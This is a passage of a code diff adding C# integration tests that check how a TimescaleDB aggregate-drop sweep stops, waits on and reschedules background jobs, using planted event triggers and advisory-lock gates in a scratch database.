+            /* The event trigger saw the DROP start (so the next count is not empty for want of a trigger), and no worker
+               of the view was listed when it did: the drop did not start beside the worker. */
+            Assert.True(await SequenceCountAsync(connection, "w5551_drop_starts", ct) >= 1, "the event trigger never saw the DROP start");
+            Assert.Equal(0L, await SequenceCountAsync(connection, "w5551_drop_beside_worker", ct));
+        }
+        finally
+        {
+            if (!gateOpen)
+            {
+                await ExecuteAsync(gate, $"SELECT pg_advisory_unlock({GateKey})", CancellationToken.None);
+            }
+
+            if (sweep is not null)
+            {
+                try { await sweep.WaitAsync(TimeSpan.FromSeconds(60), CancellationToken.None); }
+                catch (Exception) { /* the assertions above already carry the failure */ }
+            }
+        }
+    }
+
+    /// <summary>
+    /// (c) At the cap, with the worker still running at the final look: the jobs are scheduled again, the aggregate
+    /// stays, the sweep ends no backend itself, one warning names it; the next pass, with the worker gone, drops it.
+    /// </summary>
+    [Fact]
+    public async Task AtTheCap_TheJobsAreScheduledAgain_TheAggregateStays_AndTheNextPassDropsIt_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the live #5551 quiesce tests.");
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        await CreateRetiredAggregateAsync(connection, Retired, ct);
+        var jobIds = await JobIdsAsync(connection, Retired, ct);
+        var refreshJob = await RefreshJobIdAsync(connection, Retired, ct);
+        await PlantTrappingGateAsync(connection, ct);
+
+        await using var gate = new NpgsqlConnection(scratch.ConnectionString);
+        await gate.OpenAsync(ct);
+        await ExecuteAsync(gate, $"SELECT pg_advisory_lock({GateKey})", ct);
+        var gateOpen = false;
+        try
+        {
+            /* #5603: no scheduler alignment. The scheduler cancels the worker of a stopped job at its next wake, whenever
+               that is. On a plain gate that cancel ends the worker at once (the policy job reports "invalid
+               transaction termination" and exits). The gate here traps it, so the worker survives 3 s or more after a
+               scheduler cancel, and the zero-cap sweep and the assertions below take milliseconds. */
+            var workerPid = await StartBlockedWorkerAsync(connection, refreshJob, ct);
+
+            var log = new CapturingTestLogger();
+            /* A zero cap: the first look sees the worker, so the skip and the resume follow within milliseconds of the
+               stop, and a cap of seconds would turn this into a wait and a drop. */
+            Assert.Equal(0, await TimescaleSupport.DropRetiredBaselineAggregatesAsync(connection, log, DateTime.UtcNow, ZeroCap, ct));
+
+            Assert.True(await RelationExistsAsync(connection, Retired, ct), "the aggregate stays at the cap");
+            Assert.All(await JobStatesAsync(connection, jobIds, ct), s => Assert.True(s.Value, "every job it stopped is scheduled again"));
+            Assert.Equal(1, log.CountAtLevel(LogLevel.Warning));
+            Assert.Contains(log.Lines, l => l.StartsWith("Warning:", StringComparison.Ordinal) && l.Contains(Retired, StringComparison.Ordinal) && l.Contains("#5551", StringComparison.Ordinal));
+            /* The sweep itself ended nothing: the very same backend is still running. A scheduler cancel is trapped
+               (the gate counts it and the worker waits on), so a worker that is gone here was ended by something else
+               (a terminate, or a stall of this test longer than the scheduler's 3.3 s from cancel to SIGTERM). */
+            var stillRunning = await ScalarAsync<long>(connection, $"SELECT count(*) FROM pg_stat_activity WHERE pid = {workerPid} AND backend_type LIKE '% [{refreshJob}]'", ct);
+            if (stillRunning != 1L)
+            {
+                Assert.Fail($"the job worker (pid {workerPid}) the sweep must leave running is gone. Its gate counted {await SequenceCountAsync(connection, "w5551_cancels", ct)} cancel(s), {await SequenceCountAsync(connection, "w5551_foreign_cancels", ct)} of them not the scheduler's: {log.Joined}");
+            }
+
+            await ExecuteAsync(gate, $"SELECT pg_advisory_unlock({GateKey})", ct);
+            gateOpen = true;
+            Assert.True(await WaitForAsync(async () => await WorkerCountAsync(connection, jobIds, ct) == 0, TimeSpan.FromSeconds(60), ct), "the worker finishes once released");
+
+            /* Only now are the counts final: a cancel the SWEEP sent (rather than the scheduler) is swallowed by the
+               same trap, so the worker above would look untouched, but its handler counted it as foreign (it landed
+               while the scheduler was not in a wake) before the worker went on to finish. */
+            Assert.Equal(0L, await SequenceCountAsync(connection, "w5551_foreign_cancels", ct));
+
+            var retry = new CapturingTestLogger();
+            Assert.Equal(1, await TimescaleSupport.DropRetiredBaselineAggregatesAsync(connection, retry, DateTime.UtcNow, FastCap, ct));
+            Assert.False(await RelationExistsAsync(connection, Retired, ct), "the next pass drops it");
+            Assert.Equal(0, retry.CountAtLevel(LogLevel.Warning));
+        }
+        finally
+        {
+            if (!gateOpen)
+            {
+                await ExecuteAsync(gate, $"SELECT pg_advisory_unlock({GateKey})", CancellationToken.None);
+            }
+        }
+    }
+
+    /// <summary>
+    /// A cancellation (shutdown, or the hourly pass's budget) while the sweep waits for a worker: the exception goes
+    /// through, and the jobs the sweep stopped are scheduled again anyway, because the resume runs on its own grace
+    /// token and not the cancelled one.
+    /// </summary>
+    [Fact]
+    public async Task CancelledWhileWaiting_SchedulesTheJobsAgain_OnATokenOfItsOwn_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the live #5551 quiesce tests.");
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        await CreateRetiredAggregateAsync(connection, Retired, ct);
+        var jobIds = await JobIdsAsync(connection, Retired, ct);
+        var refreshJob = await RefreshJobIdAsync(connection, Retired, ct);
+
+        await using var gate = new NpgsqlConnection(scratch.ConnectionString);
+        await gate.OpenAsync(ct);
+        await ExecuteAsync(gate, $"SELECT pg_advisory_lock({GateKey})", ct);
+        await using var sweeper = new NpgsqlConnection(scratch.ConnectionString);
+        await sweeper.OpenAsync(ct);
+        using var cancel = CancellationTokenSource.CreateLinkedTokenSource(ct);
+        try
+        {
+            await StartBlockedWorkerAsync(connection, refreshJob, ct);
+
+            var log = new CapturingTestLogger();
+            /* #5603: a poll interval of ten minutes. After the stop and its first look the sweep sits in Task.Delay and
+               cannot reach a second look, let alone the drop, whatever the scheduler does to the worker meanwhile (it
+               may end it at its next wake). So the cancel below always lands in the wait, or in the first look, which
+               takes the same catch-and-resume path; it never depends on how long the worker lives. */
+            var sweep = Task.Run(() => TimescaleSupport.DropRetiredBaselineAggregatesAsync(
+                sweeper, log, DateTime.UtcNow, new TimescaleSupport.AggregateJobQuiesceOptions(TimeSpan.FromSeconds(120), TimeSpan.FromMinutes(10)), cancel.Token));
+            await WaitForJobsStoppedAsync(connection, jobIds, log, ct);
+
+            cancel.Cancel();
+            await Assert.ThrowsAnyAsync<OperationCanceledException>(() => sweep.WaitAsync(TimeSpan.FromSeconds(60), ct));
+
+            Assert.True(await RelationExistsAsync(connection, Retired, ct), "a cancelled sweep drops nothing");
+            Assert.All(await JobStatesAsync(connection, jobIds, ct), s => Assert.True(s.Value, $"job {s.Key} is scheduled again after the cancellation"));
+            Assert.Equal(0, log.CountAtLevel(LogLevel.Warning));
+        }
+        finally
+        {
+            await ExecuteAsync(gate, $"SELECT pg_advisory_unlock({GateKey})", CancellationToken.None);
+        }
+    }
+
+    /// <summary>
+    /// A cap of zero is one look: with no worker running the final look is empty, and an empty final look lets the
+    /// drop go ahead (it is not skipped, and it logs no warning).
+    /// </summary>
+    [Fact]
+    public async Task EmptyFinalLookAtTheCap_LetsTheDropGoAhead_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the live #5551 quiesce tests.");
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        await CreateRetiredAggregateAsync(connection, Retired, ct);
+
+        var log = new CapturingTestLogger();
+        Assert.Equal(1, await TimescaleSupport.DropRetiredBaselineAggregatesAsync(connection, log, DateTime.UtcNow, ZeroCap, ct));
+        Assert.False(await RelationExistsAsync(connection, Retired, ct), "the drop goes ahead on an empty final look");
+        Assert.Equal(0, log.CountAtLevel(LogLevel.Warning));
+    }
+
+    /// <summary>
+    /// (d) and (e): a drop that fails (planted <c>XX000</c>, which also breaks the connection, as the real race does)
+    /// schedules the jobs again after the reopen; a job that was already stopped before the sweep stays stopped.
+    /// </summary>
+    [Fact]
+    public async Task FailedDrop_SchedulesTheJobsAgain_ButNeverOneThatWasAlreadyStopped_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the live #5551 quiesce tests.");
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        await CreateRetiredAggregateAsync(connection, Retired, ct);
+        var jobIds = await JobIdsAsync(connection, Retired, ct);
+        var refreshJob = await RefreshJobIdAsync(connection, Retired, ct);
+
+        /* (e) stopped by hand before the sweep. */
+        await ExecuteAsync(connection, $"SELECT alter_job({refreshJob}, scheduled => false)", ct);
+        await PlantFailingDropAsync(connection, Retired, ct);
+
+        var log = new CapturingTestLogger();
+        Assert.Equal(0, await TimescaleSupport.DropRetiredBaselineAggregatesAsync(connection, log, DateTime.UtcNow, FastCap, ct));
+
+        Assert.True(connection.State == System.Data.ConnectionState.Open, $"the connection is {connection.State}: {log.Joined}");
+        Assert.True(await RelationExistsAsync(connection, Retired, ct), "the failed drop leaves the aggregate");
+        var states = await JobStatesAsync(connection, jobIds, ct);
+        Assert.False(states[refreshJob], "the job that was stopped before the sweep stays stopped");
+        Assert.All(states.Where(s => s.Key != refreshJob), s => Assert.True(s.Value, $"job {s.Key} (stopped by the sweep) is scheduled again"));
+        Assert.Equal(1, log.CountAtLevel(LogLevel.Warning));
+        Assert.Contains(log.Lines, l => l.StartsWith("Warning:", StringComparison.Ordinal) && l.Contains($"retired baseline relation {Retired}", StringComparison.Ordinal));
+    }
+
+    /// <summary>
+    /// The reshape: the daily tier built on the aggregate is dropped by the CASCADE, so ITS jobs are stopped too
+    /// before the drop; a failed drop schedules both tiers' jobs again; a clean drop removes both tiers.
+    /// </summary>
+    [Fact]
+    public async Task Reshape_StopsTheDependentTiersJobsToo_AndSchedulesBothAgainWhenTheDropFails_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the live #5551 quiesce tests.");
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+
+        /* The OLD query_store_stats_hourly shape (it still has a query_id column) with a daily tier on top. */
+        await ExecuteAsync(connection, "CREATE TABLE collect.w5551_qs (collection_time timestamp NOT NULL, query_id bigint NOT NULL, v double precision NOT NULL)", ct);
+        await ExecuteAsync(connection, "SELECT create_hypertable('collect.w5551_qs', by_range('collection_time', INTERVAL '1 day'))", ct);
+        await ExecuteAsync(connection, @"
+CREATE MATERIALIZED VIEW collect.query_store_stats_hourly WITH (timescaledb.continuous, timescaledb.materialized_only = false) AS
+SELECT query_id, time_bucket('1 hour', collection_time) AS bucket, sum(v) AS s FROM collect.w5551_qs GROUP BY 1, 2 WITH NO DATA", ct);
+        await ExecuteAsync(connection, @"
+CREATE MATERIALIZED VIEW collect.query_store_stats_daily WITH (timescaledb.continuous, timescaledb.materialized_only = false) AS
+SELECT query_id, time_bucket('1 day', bucket) AS bucket, sum(s) AS s FROM collect.query_store_stats_hourly GROUP BY 1, 2 WITH NO DATA", ct);
+        await ExecuteAsync(connection, "SELECT add_continuous_aggregate_policy('collect.query_store_stats_hourly', start_offset => INTERVAL '3 days', end_offset => INTERVAL '1 hour', schedule_interval => INTERVAL '1 hour', initial_start => now() + INTERVAL '1 day')", ct);
+        await ExecuteAsync(connection, "SELECT add_continuous_aggregate_policy('collect.query_store_stats_daily', start_offset => INTERVAL '30 days', end_offset => INTERVAL '1 day', schedule_interval => INTERVAL '1 day', initial_start => now() + INTERVAL '1 day')", ct);
+
+        var hourlyJobs = await JobIdsAsync(connection, "query_store_stats_hourly", ct);
+        var dailyJobs = await JobIdsAsync(connection, "query_store_stats_daily", ct);
+        Assert.Single(hourlyJobs);
+        Assert.Single(dailyJobs);
+        var both = hourlyJobs.Concat(dailyJobs).ToArray();
+
+        /* The lookup for the hourly aggregate finds the daily tier's job as well. */
+        await using (var find = new NpgsqlCommand(TimescaleSupport.ContinuousAggregateJobsSql, connection))
+        {
+            find.Parameters.AddWithValue("query_store_stats_hourly");
+            await using var reader = await find.ExecuteReaderAsync(ct);
+            var found = new List<int>();
+            while (await reader.ReadAsync(ct))
+            {
+                found.Add(reader.GetInt32(0));
+            }
+
+            Assert.Equal(both.OrderBy(i => i), found);
+        }
+
+        /* A failed drop first: both tiers keep refreshing, and the connection works for the next view. */
+        await PlantFailingDropAsync(connection, "query_store_stats_hourly", ct);
+        var failedLog = new CapturingTestLogger();
+        Assert.Equal(0, await TimescaleSupport.DropStaleContinuousAggregatesAsync(connection, failedLog, FastCap, ct));
+        Assert.True(connection.State == System.Data.ConnectionState.Open, $"the connection is {connection.State}: {failedLog.Joined}");
+        Assert.True(await RelationExistsAsync(connection, "query_store_stats_hourly", ct));
+        Assert.True(await RelationExistsAsync(connection, "query_store_stats_daily", ct));
+        Assert.All(await JobStatesAsync(connection, both, ct), s => Assert.True(s.Value, $"job {s.Key} is scheduled again"));
+        Assert.Equal(1, failedLog.CountAtLevel(LogLevel.Warning));
+
+        /* Then a clean drop, observed at ddl_command_start: both tiers' jobs were already stopped, and both go. */
+        await ExecuteAsync(connection, "DROP EVENT TRIGGER w5551_break_drop", ct);
+        await PlantDropProbeAsync(connection, "query_store_stats_hourly", ct);
+        var log = new CapturingTestLogger();
+        Assert.Equal(1, await TimescaleSupport.DropStaleContinuousAggregatesAsync(connection, log, FastCap, ct));
+        Assert.Equal(2L, await ScalarAsync<long>(connection, "SELECT count(DISTINCT job_id) FROM collect.w5551_seen", ct));
+        Assert.Equal(0L, await ScalarAsync<long>(connection, "SELECT count(*) FROM collect.w5551_seen WHERE scheduled", ct));
+        Assert.False(await RelationExistsAsync(connection, "query_store_stats_hourly", ct));
+        Assert.False(await RelationExistsAsync(connection, "query_store_stats_daily", ct), "the CASCADE took the daily tier");
+        Assert.Equal(0L, await ScalarAsync<long>(connection, "SELECT count(*) FROM timescaledb_information.jobs WHERE hypertable_name IN ('query_store_stats_hourly', 'query_store_stats_daily')", ct));
+        Assert.Equal(0, log.CountAtLevel(LogLevel.Warning));
+    }
+
+    /// <summary>
+    /// A plain view on a store with TimescaleDB, and a store with no TimescaleDB at all, have no jobs: the quiesce
+    /// changes nothing, waits for nothing, and the drop is exactly what it was.
+    /// </summary>
+    [Fact]
+    public async Task PlainViewAndPlainPostgresStore_AreNoOps_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the live #5551 quiesce tests.");
+
+        /* No extension: the information views do not exist, and the lookup is never run. */
+        await using (var plain = await ScratchPostgres.CreateAsync(baseConnectionString!, ct))
+        await using (var plainConnection = new NpgsqlConnection(plain.ConnectionString))
+        {
+            await plainConnection.OpenAsync(ct);
+            Assert.False(await ScalarAsync<bool>(plainConnection, TimescaleSupport.ContinuousAggregateJobsProbeSql, ct));
+            var hold = await TimescaleSupport.QuiesceContinuousAggregateJobsAsync(plainConnection, Retired, null, FastCap, ct);
+            Assert.Empty(hold.Unscheduled);
+            Assert.False(hold.Skip);
+        }
+
+        /* The extension, but the relation is a plain view (the fallback branch) or absent. */
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        await ExecuteAsync(connection, "CREATE OR REPLACE VIEW collect.file_io_baseline AS SELECT 1 AS bucket", ct);
+        var viewHold = await TimescaleSupport.QuiesceContinuousAggregateJobsAsync(connection, "file_io_baseline", null, FastCap, ct);
+        Assert.Empty(viewHold.Unscheduled);
+        Assert.False(viewHold.Skip);
+        var absentHold = await TimescaleSupport.QuiesceContinuousAggregateJobsAsync(connection, "no_such_aggregate", null, FastCap, ct);
+        Assert.Empty(absentHold.Unscheduled);
+        Assert.False(absentHold.Skip);
+
+        var log = new CapturingTestLogger();
+        Assert.Equal(1, await TimescaleSupport.DropRetiredBaselineAggregatesAsync(connection, log, DateTime.UtcNow, FastCap, ct));
+        Assert.False(await RelationExistsAsync(connection, "file_io_baseline", ct), "the plain view still drops");
+        Assert.Equal(0, log.CountAtLevel(LogLevel.Warning));
+    }
+
+    private static async Task<NpgsqlConnection> OpenStoreAsync(ScratchPostgres scratch, CancellationToken ct)
+    {
+        var connection = new NpgsqlConnection(scratch.ConnectionString);
+        var handedOver = false;
+        try
+        {
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, ct);
+
+            /* #1922: CREATE EXTENSION can terminate the backend it runs on when timescaledb is on disk but not
+               preloaded, so it runs on the probe's own connection, never on the one this method hands back.
+               The store is migrated first, so the extension lands in `collect`, as the product's does. */
+            var timescaleEnabled = await LiveTimescaleProbe.TryEnableAsync(scratch.ConnectionString, ct);
+            Assert.SkipWhen(!timescaleEnabled, "The live #5551 quiesce tests need TimescaleDB.");
+
+            handedOver = true;
+            return connection;
+        }
+        finally
+        {
+            if (!handedOver)
+            {
+                /* A skip or a failed setup must not leak the connection: the caller never got it to dispose. */
+                await connection.DisposeAsync();
+            }
+        }
+    }
+
+    /// <summary>The pre-#2007 retired aggregate with a refresh, a compression and a retention job, none due for a day.</summary>
+    private static async Task CreateRetiredAggregateAsync(NpgsqlConnection connection, string view, CancellationToken ct)
+    {
+        await ExecuteAsync(connection, "CREATE TABLE IF NOT EXISTS collect.w5551_src (collection_time timestamp NOT NULL, v double precision NOT NULL)", ct);
+        await ExecuteAsync(connection, "SELECT create_hypertable('collect.w5551_src', by_range('collection_time', INTERVAL '1 day'), if_not_exists => true)", ct);
+        await ExecuteAsync(connection, "INSERT INTO collect.w5551_src VALUES (((now() AT TIME ZONE 'UTC') - INTERVAL '2 hours'), 1)", ct);
+        await ExecuteAsync(connection, @"
+CREATE OR REPLACE FUNCTION collect.w5551_gate(x double precision) RETURNS double precision LANGUAGE plpgsql IMMUTABLE AS $f$
+BEGIN
+    PERFORM pg_advisory_lock_shared(5551);
+    PERFORM pg_advisory_unlock_shared(5551);
+    RETURN x;
+END
+$f$", ct);
+        await ExecuteAsync(connection, $@"
+CREATE MATERIALIZED VIEW collect.{view} WITH (timescaledb.continuous, timescaledb.materialized_only = false) AS
+SELECT time_bucket('1 hour', collection_time) AS bucket, sum(collect.w5551_gate(v)) AS s FROM collect.w5551_src GROUP BY 1 WITH NO DATA", ct);
+        await ExecuteAsync(connection, $"SELECT add_continuous_aggregate_policy('collect.{view}', start_offset => INTERVAL '3 days', end_offset => INTERVAL '1 hour', schedule_interval => INTERVAL '1 hour', initial_start => now() + INTERVAL '1 day')", ct);
+        await ExecuteAsync(connection, $"ALTER MATERIALIZED VIEW collect.{view} SET (timescaledb.compress = true)", ct);
+        await ExecuteAsync(connection, $"SELECT add_compression_policy('collect.{view}', INTERVAL '7 days', initial_start => now() + INTERVAL '1 day')", ct);
+        await ExecuteAsync(connection, $"SELECT add_retention_policy('collect.{view}', drop_after => INTERVAL '30 days', initial_start => now() + INTERVAL '1 day')", ct);
+    }
+
+    /// <summary>Records, at the start of the DROP, whether each of the view's jobs was scheduled. TimescaleDB runs the
+    /// drop of an aggregate as <c>DROP VIEW</c> (measured), so the trigger listens for both tags, and it can fire more
+    /// than once per drop - the assertions are over every row it wrote.</summary>
+    private static async Task PlantDropProbeAsync(NpgsqlConnection connection, string view, CancellationToken ct)
+    {
+        await ExecuteAsync(connection, "CREATE TABLE collect.w5551_seen (job_id integer, scheduled boolean)", ct);
+        await ExecuteAsync(connection, $@"
+CREATE OR REPLACE FUNCTION collect.w5551_probe() RETURNS event_trigger LANGUAGE plpgsql AS $fn$
+BEGIN
+    INSERT INTO collect.w5551_seen
+    SELECT j.job_id, j.scheduled FROM timescaledb_information.jobs AS j
+    WHERE j.hypertable_schema = 'collect' AND j.hypertable_name IN ('{view}', 'query_store_stats_daily')
+    ORDER BY j.job_id;
+END
+$fn$", ct);
+        await ExecuteAsync(connection, "CREATE EVENT TRIGGER w5551_probe ON ddl_command_start WHEN TAG IN ('DROP VIEW', 'DROP MATERIALIZED VIEW') EXECUTE FUNCTION collect.w5551_probe()", ct);
+    }
+
+    /// <summary>Raises XX000 from inside the view's DROP: the error, and the broken connection, the refresh race produces.</summary>
+    private static async Task PlantFailingDropAsync(NpgsqlConnection connection, string view, CancellationToken ct)
+    {
+        await ExecuteAsync(connection, $@"
+CREATE OR REPLACE FUNCTION collect.w5551_break_drop() RETURNS event_trigger LANGUAGE plpgsql AS $fn$
+BEGIN
+    IF EXISTS (SELECT 1 FROM pg_event_trigger_dropped_objects() WHERE object_name = '{view}')
+    THEN
+        RAISE EXCEPTION 'planted #5551 drop failure' USING ERRCODE = 'XX000';
+    END IF;
+END
+$fn$", ct);
+        await ExecuteAsync(connection, "CREATE EVENT TRIGGER w5551_break_drop ON sql_drop EXECUTE FUNCTION collect.w5551_break_drop()", ct);
+    }
+
+    private static async Task StartRefreshWorkerAsync(NpgsqlConnection connection, int refreshJob, CancellationToken ct)
+        => await ExecuteAsync(connection, $"SELECT alter_job({refreshJob}, next_start => now(), scheduled => true)", ct);
+
+    private const string SchedulerBackend = "TimescaleDB Background Worker Scheduler";
+
+    /// <summary>
+    /// #5603: starts the refresh worker and returns its pid only when it is BLOCKED on the gate: listed in
+    /// <c>pg_stat_activity</c> AND its <c>pg_locks</c> row for the shared advisory key is not granted, matched by the
+    /// worker's pid. Listed is not enough: a listed worker can still be in the DELETE that opens the refresh, where a
+    /// cancel is an error and not a wait the gate can trap.
+    /// </summary>
+    private static async Task<int> StartBlockedWorkerAsync(NpgsqlConnection connection, int refreshJob, CancellationToken ct)
+    {
+        await StartRefreshWorkerAsync(connection, refreshJob, ct);
+
+        var pid = 0;
+        Assert.True(
+            await WaitForAsync(async () => (pid = await ScalarAsync<int>(connection, $"SELECT coalesce(max(pid), 0) FROM pg_stat_activity WHERE datname = current_database() AND backend_type LIKE '% [{refreshJob}]'", ct)) != 0, TimeSpan.FromSeconds(60), ct),
+            "the scheduler never started the refresh worker");
+
+        Assert.True(
+            await WaitForAsync(async () => await ScalarAsync<long>(connection, $"SELECT count(*) FROM pg_locks WHERE pid = {pid} AND locktype = 'advisory' AND NOT granted AND classid = {GateKey >> 32} AND objid = {GateKey & 0xFFFFFFFFL} AND objsubid = 1", ct) > 0, TimeSpan.FromSeconds(30), ct),
+            $"the refresh worker (pid {pid}) never blocked on the gate");
+        return pid;
+    }
+
+    /// <summary>
+    /// #5603: replaces the gate with one that TRAPS the scheduler's cancel. It catches <c>query_canceled</c>, bumps
+    /// <c>collect.w5551_cancels</c> and waits again, so the worker outlives the cancel (until the scheduler's SIGTERM,
+    /// 3.3 s later, or until the test opens the gate). A sequence is not transactional: the count survives the
+    /// worker's death and rollback. The same handler also bumps <c>collect.w5551_foreign_cancels</c> when the
+    /// scheduler is not in a wake (<c>state</c> other than <c>active</c>): the scheduler cancels only inside a wake
+    /// (measured: <c>active</c> from before the cancel to after the SIGTERM), so a cancel at any other time came from
+    /// somewhere else, for example a sweep that cancelled the worker itself.
+    /// </summary>
+    private static async Task PlantTrappingGateAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        await ExecuteAsync(connection, "CREATE SEQUENCE collect.w5551_cancels", ct);
+        await ExecuteAsync(connection, "CREATE SEQUENCE collect.w5551_foreign_cancels", ct);
+        await ExecuteAsync(connection, $@"
+CREATE OR REPLACE FUNCTION collect.w5551_gate(x double precision) RETURNS double precision LANGUAGE plpgsql IMMUTABLE AS $f$
+BEGIN
+    LOOP
+        BEGIN
+            PERFORM pg_advisory_lock_shared({GateKey});
+            EXIT;
+        EXCEPTION WHEN query_canceled THEN
+            PERFORM nextval('collect.w5551_cancels');
+            PERFORM pg_stat_clear_snapshot();
+            IF NOT EXISTS (
+                SELECT 1 FROM pg_stat_activity AS a
+                WHERE a.datname = current_database() AND a.backend_type = '{SchedulerBackend}' AND a.state = 'active')
+            THEN
+                PERFORM nextval('collect.w5551_foreign_cancels');
+            END IF;
+        END;
+    END LOOP;
+    PERFORM pg_advisory_unlock_shared({GateKey});
+    RETURN x;
+END
+$f$", ct);
+    }
+
+    /// <summary>
+    /// #5603: records, at the start of every DROP of a view, whether a job worker of the given jobs was listed in
+    /// <c>pg_stat_activity</c> at that moment (<c>collect.w5551_drop_beside_worker</c>), and that a DROP started at all
+    /// (<c>collect.w5551_drop_starts</c>). Measured: the trigger fires for the sweep's DROP inside its <c>DO $do$</c>
+    /// block BEFORE the DROP waits on the worker's locks, so a sweep that does not wait for the worker is counted
+    /// whether or not the DROP ever finishes. The job ids are literals: the trigger does not read the jobs view
+    /// while the drop is taking it apart.
+    /// </summary>
+    private static async Task PlantDropBesideWorkerProbeAsync(NpgsqlConnection connection, IReadOnlyCollection<int> jobIds, CancellationToken ct)
+    {
+        await ExecuteAsync(connection, "CREATE SEQUENCE collect.w5551_drop_starts", ct);
+        await ExecuteAsync(connection, "CREATE SEQUENCE collect.w5551_drop_beside_worker", ct);
+        await ExecuteAsync(connection, $@"
+CREATE OR REPLACE FUNCTION collect.w5551_drop_probe() RETURNS event_trigger LANGUAGE plpgsql AS $fn$
+BEGIN
+    PERFORM nextval('collect.w5551_drop_starts');
+    PERFORM pg_stat_clear_snapshot();
+    IF EXISTS (
+        SELECT 1 FROM pg_stat_activity AS a
+        WHERE a.datname = current_database()
+        AND   EXISTS (SELECT 1 FROM unnest(ARRAY[{string.Join(", ", jobIds)}]) AS id WHERE a.backend_type LIKE '% [' || id::text || ']'))
+    THEN
+        PERFORM nextval('collect.w5551_drop_beside_worker');
+    END IF;
+END
+$fn$", ct);
+        await ExecuteAsync(connection, "CREATE EVENT TRIGGER w5551_drop_probe ON ddl_command_start WHEN TAG IN ('DROP VIEW', 'DROP MATERIALIZED VIEW') EXECUTE FUNCTION collect.w5551_drop_probe()", ct);
+    }
+
+    /// <summary>How many times a sequence of the probe above has been used (0 when it never was). Sequence reads see the
+    /// newest value at once, whichever transaction took it.</summary>
+    private static async Task<long> SequenceCountAsync(NpgsqlConnection connection, string sequence, CancellationToken ct)
+        => await ScalarAsync<long>(connection, $"SELECT CASE WHEN is_called THEN last_value ELSE 0 END FROM collect.{sequence}", ct);
+
+    private static async Task<List<int>> JobIdsAsync(NpgsqlConnection connection, string view, CancellationToken ct)
+    {
+        var ids = new List<int>();
+        await using var command = new NpgsqlCommand("SELECT job_id FROM timescaledb_information.jobs WHERE hypertable_schema = 'collect' AND hypertable_name = $1 ORDER BY job_id", connection);
+        command.Parameters.AddWithValue(view);
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            ids.Add(reader.GetInt32(0));
+        }
+
+        return ids;
+    }
+
+    private static async Task<int> RefreshJobIdAsync(NpgsqlConnection connection, string view, CancellationToken ct)
+        => await ScalarAsync<int>(connection, $"SELECT job_id FROM timescaledb_information.jobs WHERE proc_name = 'policy_refresh_continuous_aggregate' AND hypertable_schema = 'collect' AND hypertable_name = '{view}'", ct);
+
+    private static async Task<Dictionary<int, bool>> JobStatesAsync(NpgsqlConnection connection, IReadOnlyCollection<int> jobIds, CancellationToken ct)
+    {
+        var states = new Dictionary<int, bool>();
+        await using var command = new NpgsqlCommand("SELECT job_id, scheduled FROM timescaledb_information.jobs WHERE job_id = ANY($1::integer[])", connection);
+        command.Parameters.AddWithValue(jobIds.ToArray());
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            states[reader.GetInt32(0)] = reader.GetBoolean(1);
+        }
+
+        Assert.Equal(jobIds.Count, states.Count);
+        return states;
+    }
+
+    /// <summary>Waits until the sweep has stopped every one of the jobs. A drop that ran under the worker deletes the
+    /// jobs instead, and that is reported as what it is rather than as a missing row.</summary>
+    private static async Task WaitForJobsStoppedAsync(NpgsqlConnection connection, IReadOnlyCollection<int> jobIds, CapturingTestLogger log, CancellationToken ct)
+    {
+        async Task<(long Present, long Scheduled)> LookAsync()
+        {
+            await using var command = new NpgsqlCommand(
+                "SELECT count(*), count(*) FILTER (WHERE scheduled) FROM timescaledb_information.jobs WHERE job_id = ANY($1::integer[])", connection);
+            command.Parameters.AddWithValue(jobIds.ToArray());
+            await using var reader = await command.ExecuteReaderAsync(ct);
+            Assert.True(await reader.ReadAsync(ct));
+            return (reader.GetInt64(0), reader.GetInt64(1));
+        }
+
